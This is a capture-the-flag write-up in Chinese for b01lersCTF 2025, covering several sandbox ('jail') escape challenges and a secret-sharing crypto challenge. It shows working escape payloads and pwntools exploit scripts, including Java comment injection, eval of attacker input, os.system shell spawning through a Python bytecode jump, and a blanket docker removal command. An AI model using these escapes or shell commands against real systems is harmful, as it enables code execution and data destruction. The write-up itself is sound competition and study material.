b01lersCTF2025

1
docker stop $(docker ps -aq) && docker rm $(docker ps -aq) && docker rmi $(docker images -q)

jail/vibe-coding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3

import os

FILE_TEMPLATE = """
import java.io.*;

public class Main {
// %s
public static void main(String[] args) {
// TODO: implement me
}

public static String getFlag() throws IOException {
// FIXME: we probably don't want the user accessing this; just throw for now
throw new RuntimeException("Not implemented yet");

// var br = new BufferedReader(new FileReader("/flag.txt"));
// return br.readLine();
}
}
"""

blacklist = ['\r', '\n']

if __name__ == "__main__":
print(r"""+
| ______ _____ _____ ____ ______ _____ ______ ______ _____ _____ _____
| | >/ ||_ || | | ___|| | | ___| | ___|/ \| | | |
| | < | / | | || |_ | ___|| \ `-.`-. | |__ | || \ | _|_
| |______>|_____/ |____||______||______||__|\__\|______| |______|\_____/|__|\__\|___| |_|
+
Welcome to b01lersCorp Semantic LOad-balanced Program GENerator (SLOPGEN) v3.20.25.
""", flush=True)
comment = input('Enter your prompt below:\n> ')

# No tricks, please :)
for banned in blacklist:
if banned in comment:
print('Illegal characters: terminating...')
exit()

with open('/tmp/Main.java', 'w') as f:
# Write the prompt into the source file
f.write(FILE_TEMPLATE % comment)

# TODO: run the actual model !!!

print('\nYour program output:\n', flush=True)
os.system('cd /tmp && javac Main.java && java Main')
print('===', flush=True)

我们可以看到是进行了一个参数注入,如果可以绕过//,将恶意代码写入Java程序就可以获得flag了,本地换行发现这么去写代码确实可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.*;

public class Main {
// %s \u000a static {
try {
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader("flag.txt"));
System.out.println(br.readLine());
} catch (Exception e) {} } \u000a
public static void main(String[] args) {
// TODO: implement me
}

public static String getFlag() throws IOException {
// FIXME: we probably don't want the user accessing this; just throw for now
throw new RuntimeException("Not implemented yet");
}
}

如果python解析unicode,绕过的话就可以

1
\u000a static { try { java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader("/flag.txt")); System.out.println(br.readLine()); } catch (Exception e) {} } \u000a

本地测试成功,换flag位置即可

1
\u000a static { try { java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader("/svg/flag.txt")); System.out.println(br.readLine()); } catch (Exception e) {} } \u000a

结果还是不对,后面打通之后发现主办方是真C,给的docker的flag位置和服务器上的不一样

1

jail/shakespearejail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/local/bin/python3
import io
import random
import sys

from shakespearelang.shakespeare import Shakespeare
print("You're nothing like a summers day.")
print("enter your play > ")

blacklist = [
"Heaven",
"King",
"Lord",
"angel",
"flower",
"happiness",
"joy",
"plum",
"summer's",
"day",
"hero",
"rose",
"kingdom",
"pony",
"animal",
"aunt",
"brother",
"cat",
"chihuahua",
"cousin",
"cow",
"daughter",
"door",
"face",
"father",
"fellow",
"granddaughter",
"grandfather",
"grandmother",
"grandson",
"hair",
"hamster",
"horse",
"lamp",
"lantern",
"mistletoe",
"moon",
"morning",
"mother",
"nephew",
"niece",
"nose",
"purse",
"road",
"roman",
"sister",
"sky",
"son",
"squirrel",
"stone",
"wall",
"thing",
"town",
"tree",
"uncle",
"wind",
"Hell",
"Microsoft",
"bastard",
"beggar",
"blister",
"codpiece",
"coward",
"curse",
"death",
"devil",
"draught",
"famine",
"flirt-gill",
"goat",
"hate",
"hog",
"hound",
"leech",
"lie",
"pig",
"plague",
"starvation",
"toad",
"war",
"wolf"
]


blacklist += ["open",
"listen"]


blacklist += ["am ",
"are ",
"art ",
"be ",
"is "]

solution = ""
for line in sys.stdin:
solution += line.lower()
if line.strip().lower() == "[exeunt]":
break

print("play received")

disallowed = False
for word in blacklist:
if word.lower() in solution:
print(f"You used an illegal word: {word}")
disallowed = True
break

if not solution.isascii():
print("there were non-ascii characters in your solution.")
disallowed = True

if (not disallowed):
old_stdout = sys.stdout
old_stdin = sys.stdin
sys.stdout = io.StringIO()
sys.stdin = io.StringIO()

try:
interpreter = Shakespeare(play=solution, input_style='basic', output_style='basic')
interpreter.run()
payload = sys.stdout.getvalue()
finally:
sys.stdout = old_stdout
sys.stdin = old_stdin

eval(payload)
else:
with open("insults.txt", "r") as file:
insults = file.readlines()
random_insult = random.choice(insults).strip()
print(random_insult)

接受剧本,不能有禁用词,然后进行执行

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
A New Beginning.
Achilles, meow.
Andromache, meow.
Adriana, meow.
Aegeon, meow.
Aemilia, meow.
Agamemnon, meow.
Agrippa, meow.
Ajax, meow.
Alonso, meow.
Act I: meow.
Scene I: meow.
[Enter Achilles and Andromache]
Achilles: Thou the factorial of Andromache!
[Exit Andromache]
[Enter Adriana]
Achilles: Thou twice Andromache!
[Exit Adriana]
[Enter Aegeon]
Achilles: Thou twice Adriana!
[Exit Aegeon]
[Enter Aemilia]
Achilles: Thou twice Aegeon!
[Exit Aemilia]
[Enter Agamemnon]
Achilles: Thou twice Aemilia!
[Exit Agamemnon]
[Enter Agrippa]
Achilles: Thou twice Agamemnon!
[Exit Agrippa]
[Enter Ajax]
Achilles: Thou twice Agrippa!
[Exit Ajax]
[Enter Alonso]
Achilles: Thou the sum of the sum of the sum of Ajax and Agrippa and Aegeon and Andromache! Speak your mind!
Achilles: Thou the sum of the sum of Alonso and Agamemnon and Andromache! Speak your mind!
Achilles: Thou the sum of the sum of Ajax and Agrippa and Andromache! Speak your mind!
Achilles: Thou the sum of the sum of the sum of Ajax and Agrippa and Aegeon and Aemilia! Speak your mind!
Achilles: Thou the sum of Agrippa and Aemilia! Speak your mind!
Achilles: Thou the sum of the sum of the sum of Ajax and Agrippa and Aemilia and Andromache! Speak your mind!
Achilles: Thou the sum of the sum of the sum of the sum of Ajax and Agrippa and Aegeon and Adriana and Aemilia! Speak your mind!
Achilles: Thou the sum of the sum of Ajax and Agrippa and Agamemnon! Speak your mind!
Achilles: Thou the sum of the sum of the sum of the sum of Ajax and Agrippa and Aegeon and Andromache and Agamemnon! Speak your mind!
Achilles: Thou the sum of the sum of the sum of Ajax and Agrippa and Aegeon and Agamemnon! Speak your mind!
Achilles: Thou the sum of Agrippa and Aemilia! Speak your mind!
Achilles: Thou the sum of Alonso and Andromache! Speak your mind! Speak your mind!
[Exit Alonso]
[exeunt]

然后就成功的变出了eval(input()),进行RCE即可__import__('os').system('whoami')

jail/>>=jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import Language.Haskell.Interpreter
import System.IO
import Data.List

eval' :: String -> IO ()
eval' x = do
ret <- runInterpreter $ setImports ["Prelude", "System.IO"]
>> runStmt "hSetBuffering stdout NoBuffering"
>> runStmt x
case ret of
Right _ -> return ()
Left (WontCompile ((GhcError msg):_)) -> putStrLn msg

check :: String -> Bool
check x = and $ map ($ x) [
not . isInfixOf "readFile",
not . isInfixOf "flag",
not . isInfixOf ",",
not . isInfixOf "(",
not . isInfixOf "<",
not . isInfixOf "+",
not . isInfixOf "*",
not . isInfixOf "/",
not . isInfixOf "-",
not . isInfixOf "&&",
not . isInfixOf "||",
not . isInfixOf "[",
not . isInfixOf "]",
not . isInfixOf "\"",
not . isInfixOf "mempty",
not . isInfixOf "replicate",
not . isInfixOf "repeat",
not . isInfixOf "pure",
not . isInfixOf "return"]

main = do
putStr "bhci> " >> hFlush stdout
inp <- getLine
if check inp then eval' inp else putStrLn "Illegal input."

有eval函数把传入字符串当成haskell代码进行执行,但是有黑名单,toEnumshow自增来构造出flag.txt

1
p = toEnum 102 : toEnum 108 : toEnum 97 : toEnum 103 : toEnum 46 : toEnum 116 : toEnum 120 : toEnum 116

但是会被waf掉,我们前面搞个0出来截断就可以

1
2
let z = take 0 $ show 0
p = toEnum 102 : toEnum 108 : toEnum 97 : toEnum 103 : toEnum 46 : toEnum 116 : toEnum 120 : toEnum 116 : z

最后再读取文件即可

1
let z=take 0$show 0; p=toEnum 102:toEnum 108:toEnum 97:toEnum 103:toEnum 46:toEnum 116:toEnum 120:toEnum 116:z;in openFile p ReadMode >>= hGetContents >>= putStr

jail/prismatic

1
2
docker build -t prismatic:latest .
docker run -d -p 1337:1337 --name prismatic_container prismatic:latest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# See options available at https://github.com/google/nsjail/blob/master/config.proto

name: "default-nsjail-configuration"
description: "Default nsjail configuration for pwnable-style CTF task."

mode: ONCE
uidmap {inside_id: "1000"}
gidmap {inside_id: "1000"}
rlimit_as: 10
rlimit_as_type: HARD
rlimit_cpu: 3
rlimit_cpu_type: HARD
rlimit_nofile_type: HARD
rlimit_nproc: 10
rlimit_nproc_type: HARD

envar: "TERM=xterm-256color"
time_limit: 60

mount: [
{
src: "/chroot"
dst: "/"
is_bind: true
},
{
src: "/dev"
dst: "/dev"
is_bind: true
}
]

对靶机环境进行权限限制之类的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/local/bin/python3
import string
import sys

allowed_chars = string.ascii_lowercase + ".[]; "

inp = input("> ")

for c in inp:
if c not in allowed_chars:
print(f"Illegal char {c}")
exit()

sys.stdin.close()
sys.stdout.close()
sys.stderr.close()
exec(inp, {"__builtins__": {k: v for k, v in __builtins__.__dict__.items() if "__" in k}})

只允许使用小写字母、点、方括号、分号和空格,其实比较重要的是最后一句,ta只保留了包含双下划线的内置函数,像print\open这类的都不可以使用,其实这个黑名单过滤并不严格,小写字母都是够够的,只不过没有引号了,sys.executable是python解释器,利用函数替换

1
import os;import sys;[os for os.unsetenv in [os.system]];del os.environ[sys.executable]
1
2
3
4
5
6
7
8
9
from pwn import *

s = remote("localhost", 1337)
s.sendlineafter(
b"> ",
b"import os;import sys;[os for os.unsetenv in [os.system]];del os.environ[sys.executable]",
)
s.sendlineafter(b">>> ", b"print(open('/app/flag.txt').read())")
print(s.recvline().decode().split("\n")[0])

jail/emacs-jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# See options available at https://github.com/google/nsjail/blob/master/config.proto

name: "default-nsjail-configuration"
description: "Default nsjail configuration for pwnable-style CTF task."

mode: ONCE
uidmap {inside_id: "1000"}
gidmap {inside_id: "1000"}
rlimit_as: 134217728
rlimit_as_type: HARD
rlimit_cpu_type: HARD
rlimit_nofile_type: HARD
rlimit_nproc_type: HARD

envar: "TERM=xterm-256color"
time_limit: 300

mount: [
{
src: "/chroot"
dst: "/"
is_bind: true
},
{
src: "/dev"
dst: "/dev"
is_bind: true
}
]

限制权限并且限制程序最多允许运行 300 秒(5 分钟)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(defun x () (mapc (lambda (key) (unless (eq key 13) (local-set-key (vector key) 'ignore))) (number-sequence 0 255)))
(add-hook 'minibuffer-setup-hook 'x)
(setq inhibit-local-menu-bar-menus t)
(setq warning-minimum-level :error)
(dotimes (i 12) (global-unset-key (vector (intern (format "f%d" (1+ i))))))
(define-key key-translation-map (kbd "C-M-x") (kbd ""))
(define-key key-translation-map (kbd "C-j") (kbd ""))
(define-key input-decode-map (kbd "C-i") [ignore])
(define-key input-decode-map (kbd "TAB") [ignore])
(global-unset-key (kbd "C-\\"))
(global-unset-key (kbd "C-k"))
(global-unset-key (kbd "C-h"))
(global-unset-key (kbd "C-g"))
(global-unset-key (kbd "C-u"))
(global-unset-key (kbd "C-x"))
(global-unset-key (kbd "C-z"))
(global-unset-key (kbd "M-."))
(global-unset-key (kbd "M-%"))
(global-unset-key (kbd "M-n"))
(global-unset-key (kbd "M-x"))
(global-unset-key (kbd "M-0"))
(global-unset-key (kbd "M-!"))
(global-unset-key (kbd "M-:"))
(global-unset-key (kbd "M-`"))
(global-unset-key (kbd "M-&"))
(global-unset-key (kbd "M-|"))
(global-unset-key (kbd "M-?"))

直接按下键盘上的 q 键然后Enter,就会到测试区域,

1

在出现的scratch缓冲区中,输入以下内容(kill-emacs),按住Crtl+c再按Crtl+e,就可以把flag爆出来,但是我并没有成功emm,不过确实是合理的

jail/monochromatic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/local/bin/python3
import dis
import gc


def run():
pass


gc.disable()
inp = bytes.fromhex(input("Bytecode: "))
names = tuple(input("Names: ").split())
if len(inp) > 200:
print(f"Invalid bytecode {inp}")
exit()
if len(names) > 5:
print(f"Invalid names {names}")
exit()
code = run.__code__.replace(co_code=inp, co_names=names)
for inst in dis.Bytecode(code):
if (
inst.opname.startswith("LOAD")
or inst.opname.startswith("STORE")
or inst.opname.startswith("IMPORT")
):
print(f"Invalid op {inst.opname}")
exit()
run.__code__ = code
run()

字节码长度不能超过200字节,名称列表不能超过5个元素,禁用了LOAD\STORE\IMPORT,绕过之后进行命令执行

JUMP_* opodes don’t check bounds, so you can jump out of bounds to a bytecode gadget. find_gadgets.py finds gadgets that allow you to call exec(input()) given the appropriate co_names.

用一下大佬的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# useful links
# https://docs.python.org/3.10/library/dis.html
# https://github.com/python/cpython/blob/3.10/Include/cpython/code.h
# https://github.com/python/cpython/blob/3.10/Include/cpython/bytesobject.h
# https://github.com/python/cpython/blob/3.10/Python/ceval.c
# https://github.com/python/cpython/blob/main/Python/ceval_macros.h
import dis
import opcode

from pwn import *


# from https://juliapoo.github.io/security/2021/05/29/load_fast-py3-vm.html
def inst(opc: str, arg: int = 0):
"Makes life easier in writing python bytecode"

nb = max(1, -(-arg.bit_length() // 8))
ab = arg.to_bytes(nb, "big")
ext_arg = opcode.opmap["EXTENDED_ARG"]
inst = bytearray()
for i in range(nb - 1):
inst.append(ext_arg)
inst.append(ab[i])
inst.append(opcode.opmap[opc])
inst.append(ab[-1])

return bytes(inst)


"""
found possible <function MutableMapping.popitem at 0x7efe02c9d750> collections.abc 6 8 1
975 0 SETUP_FINALLY 8 (to 18)

976 2 LOAD_GLOBAL 0 (next)
4 LOAD_GLOBAL 1 (iter)
6 LOAD_FAST 0 (self)
8 CALL_FUNCTION 1
10 CALL_FUNCTION 1
12 STORE_FAST 1 (key)
14 POP_BLOCK
16 JUMP_FORWARD 10 (to 38)
"""

offset = 1728880 + 2

bytecode = b"".join([
inst("JUMP_ABSOLUTE", offset // 2),
])

payload = bytecode.ljust(100, b"\x09")
dis.dis(payload)
while True:
#s = remote("localhost", 1337)
s = remote("monochromatic.atreides.b01lersc.tf", 8443, ssl=True)

s.sendlineafter(b"Bytecode: ", payload.hex().encode())
s.sendlineafter(b"Names: ", b"exec input")
s.sendline(b"import os;os.system('sh')")
resp = s.recvrepeat(0.1)
print(resp.decode())
if not s.closed["recv"]:
s.interactive()
break
s.close()

crypto/ASSS

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import getPrime, bytes_to_long

def evaluate_poly(poly:list, x:int, s:int):
return s + sum(co*x**(i+1) for i, co in enumerate(poly))

s = bytes_to_long(open(r"F:\Download\vibe_coding\vibe_coding\flag.txt", "rb").read())
a = getPrime(64)
poly = [a*getPrime(64) for _ in range(1, 20)]
share = getPrime(64)

print(f"Here is a ^_^: {a}")
print(f"Here is your share ^_^: ({share}, {evaluate_poly(poly, share, s)})")

让DeepSeek解,由于我本地字符串不长所以第一次写出这样的脚本就出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import long_to_bytes

a = 12849363163568131049
x_share = 9885022587805378133
y = 1563796752766287440192561386095300665355947147226054326492540674752115058608754237675584842805847099061645243753986544838100172279457649108218153898075624071798459451731650752035308251078556301450839032666026929572335183726351864947225297686620831517537149472610596182151528298514239102103732926457046830544693491060510131686541057560458940388052012721626603608122833497565235251638381015764144844492

# 计算s mod a和s mod x
s_mod_a = y % a
s_mod_x = y % x_share

# 计算逆元
inv_x = pow(x_share, -1, a)
inv_a = pow(a, -1, x_share)

# 应用中国剩余定理
mod_product = a * x_share
s_crt = (s_mod_a * x_share * inv_x + s_mod_x * a * inv_a) % mod_product

# 转换为字节
flag = long_to_bytes(s_crt)
print(flag.decode())

但是我本地的字节数比较小,远程的字节数是66个字节长度,所以就出现在这里,如果字节过大的话就得用另一种方法解决了

1
2
3
a = 13110559150233569243
x_share = 15941377112010459173
y = 10112551066585014574263120617790516555254734704519913712045784081200773409049034115056646905446747136448683529305769247957236503841855733983637666617270259525558981918589694872485531368638162337624284026707631445433578380096139816242786349810280513174118911313953958679612208808027943871590957310853317435815638110296145797088067667987242667212601030830766240250618051616230485760004015890946465945621392

看到最终WP要sagemath了,不过队友解出来了,放一下队友的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python3
from pwn import *
import time
from sympy.ntheory.modular import crt
import sympy

context.log_level = 'debug'

def collect_data(num_connections=10):
"""Collect data from the remote server"""
list1 = [] # Moduli list
list2 = [] # Share list
list3 = [] # Values list (large numbers)

for i in range(num_connections):
try:
p = remote('asss.atreides.b01lersc.tf', 8443, ssl=True)

# Get first value
p.recvuntil(b'Here is a ^_^: ')
a = p.recvline()[:-1]
a = int(a.decode('utf-8'), 10)
list1.append(a)

# Get share values
p.recvuntil(b'share ^_^: ')
b = p.recvline()[:-1]
b = b.decode('utf-8')
b = b.split(', ')
list2.append(int(b[0][1:], 10))
list3.append(int(b[1][:-1], 10))

p.close()
print(f"Connection {i+1}/{num_connections} completed")
time.sleep(1) # Avoid overwhelming the server
except Exception as e:
print(f"Error on connection {i+1}: {e}")
# If a connection fails, try again
i -= 1
time.sleep(2)
continue

return list1, list2, list3

def solve_crt(lista, list_share, list_y):
"""Solve using Chinese Remainder Theorem"""
print('Collected moduli:', lista)
print('Collected shares:', list_share)
print('Collected values:', list_y)

# Prepare for CRT
moduli = []
residues = []

for i in range(len(lista)):
# First modulus and residue
moduli.append(lista[i])
residues.append(list_y[i] % lista[i])

# Second modulus and residue from shares
moduli.append(list_share[i])
residues.append(list_y[i] % list_share[i])

# Use SymPy's CRT implementation
s_rec, mod = crt(moduli, residues)

print("Recovered value:", s_rec)
print("Modulus:", mod)
print("Bit length:", s_rec.bit_length())

return s_rec

def int_to_bytes(n):
"""Convert an integer to bytes"""
# Calculate the number of bytes needed
num_bytes = (n.bit_length() + 7) // 8
# Convert to bytes
return n.to_bytes(num_bytes, byteorder='big')

def extract_flag(s_rec):
"""Try to extract the flag from the recovered integer"""
# Convert to bytes and try to decode
try:
bytes_data = int_to_bytes(s_rec)
# Look for flag pattern (usually starts with "flag{" or "CTF{" etc.)
print("Raw bytes:", bytes_data)

# Try to find flag format in the bytes
flag_formats = [b"flag{", b"CTF{", b"b01lers{", b"{"]
for format_start in flag_formats:
if format_start in bytes_data:
start_idx = bytes_data.index(format_start)
end_idx = bytes_data.find(b"}", start_idx)
if end_idx != -1:
flag = bytes_data[start_idx:end_idx+1].decode('utf-8')
return flag

# If no specific format found, try to decode the whole thing
text = bytes_data.decode('utf-8', errors='replace')
print("Possible text:", text)
return text
except Exception as e:
print(f"Error extracting flag: {e}")
return None

def main():
# If data is already collected, you can use these values directly
use_existing_data = False

if use_existing_data:
# Use data from paste.txt
lista = [17584271476152388921, 17370971913569156569, 14959881750433329757, 10303284208185415327, 15713836054255673819, 17478696318611502361, 13098744946226139623, 16955666992762514789, 17400563056979005187, 14895399098388854051]
list_share = [11741896534246295149, 13766271162016128403, 10298792465391901379, 14589861000287547127, 12032587407650034763, 9331719354810106693, 12770590820017684649, 17590033785618719651, 16632024631370273077, 10007219471876742649]
list_y = [51843339894594430511477195106634838415638423651817345596930708154547607313815854908867159440180095110807056026755477215148658767518973886701971682981971698070886828657868708218128273453096554066889881030942772341797102680463254274525036512657451791011268688507325492061926521631418195012504316928272412909669981049904288688034182493923608563142984021256164664586268938761418848942676317656829645433788, 1246031746311153323831712591179734709121040796146740611030096526123136613851005484759820414334167089647250156832731764720104684477914477546125008723501583621293856087734300405341615956996568685700895087782523748542475102009193735305723327432087609311672451839655152530184580649757651013057814374397429832901072912460341941161988857876228996923725224757287359075236096883072541212487826763103094467968944, 2976917307927483897052196616220801579678017487577896522257147674095125892345998018975090960303886771850202764080875397609058749896148840816580947391250338467221900831332931327058678022137072037183465174212043487736030921701757454999127608616347447380055325113542425043565916486827644704707246128578693224099596425735337017386146569791176945041604880090970076987612684388204879088704994778888105750806, 1384920290143909908703226936777372436793203522294243205025677290359643468639230135325162060558561635871272367231479723795564442951231283797561420265640290563328793048216492653316731045150925202366613437593854467629008532700105927129244361930444452740812988943385400738479709799144476592095539951839873084582384779454446586928688641189011644407608341499257343536310622826642258787819851949166122087619464, 77241817152648679036231972429294381702393651163502639776475028556278336078725176354285891169808504597706435120497631907808191078467500267351562773580742866711192170466763167010364725911538367566790786304319325827797640425149645307778637299987507073880514696400936367265709777473436271936050054165525034796359654465264682869694793689146750180462558587623759040856393369789927015616607627437829132323850, 764523548885397012320477471948825900475519103816830058192425565910781281025362579270437522402208334144043096499391518387471821322174434301591191559607903745441653957657494494698295996285278685232821131616090793202333953915035171732603609008507426267841013590563151434147187090943086119089003730864875039016683148871830631487711173159611710852455814649427907089482290408274624343455010944018166959770, 144064658515512655454646089699499232876959749660149996792201127452076520727680704403115041652968546656996316495132812786824199544567757184512998593189233467404279565252769681617130103115729144564139986559855142514841881348216595471862046939657894817866717466853432775442688310214534025345071362743239270237405078941417424052063235842155831529311818745544527867448067954418262512424218218379214406774838, 114957910927358084596779819001922125751235147058371444606117893010618320964248842209458123422144115068343176760022458967525514502402163926101959251740532506154262094489737142810526089718447412385747274784030948685071217358217592296955862493053541411378640519556277781185066480967318480849314979968291648064281823176303321907419421598875181169666096576945833833314304296556174806897434824087741286721782306, 26275415397285928766829883853306258812955570979623237113362386122234764896982641278479326183973284914225272286574670408724799183857716979238511062439993912230446611526700137145672660600745354478158115958998871112985097032588208884363679339850077888692762877190865121787088158324570619255440483910750648497105857394477083740000090962639689152802633369136418680272407301238306216534747374823245370017819228, 2297769956318797305100187036394309255007746600801751737436711883119976141694626009965570624872550636678566358956046808388673749895635919004020911477701400475529566504462292039389544415774119552552226091528204460545465400735225240665241177522414602867816613570324082145110138723981492497719672500202373827603548998896353923023211217307092006615272182696362812279754912012331963845255420844603374856288]
else:
# Collect new data from the server
lista, list_share, list_y = collect_data(10)

# Solve using CRT
s_rec = solve_crt(lista, list_share, list_y)

# Extract the flag
flag = extract_flag(s_rec)
if flag:
print("Flag found:", flag)
else:
print("Flag not found. Try decoding the raw bytes manually.")

if __name__ == "__main__":
main()

不过还是不太行,安装一下sagemath在我的Ubuntu20

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 安装依赖
sudo apt update
sudo apt install build-essential m4 dpkg-dev flex bison bc libssl-dev

# 下载SageMath源代码(将X.Y替换为你想要的版本,如9.5)
wget https://github.com/sagemath/sage/archive/9.3.tar.gz
tar -xvf 9.3.tar.gz
cd sage-9.3

./configure
make

ls -l sage
# 进入使用环境
./sage

但是不是很方便每次必须进目录才可以使用,所以再搞个软链接

1
2
3
4
5
6
7
8
sudo mkdir -p /opt/sage

sudo mv ~/Desktop/sage-9.3 /opt/sage/
sudo ln -s /opt/sage/sage-9.3/sage /usr/local/bin/sage

which sage

sage --version

装好了以后用,顺便给这台新的Ubuntu安装一个python3.10,避免以后忘了在这里写写利用命令

1
2
3
baozongw1@ubuntu:~/Desktop$ python3.10 --version
Python 3.10.17
baozongw1@ubuntu:~/Desktop$ python3.10 -m pip install pwntools

用西瓜杯的Ezzz_php测试了一下,可以用的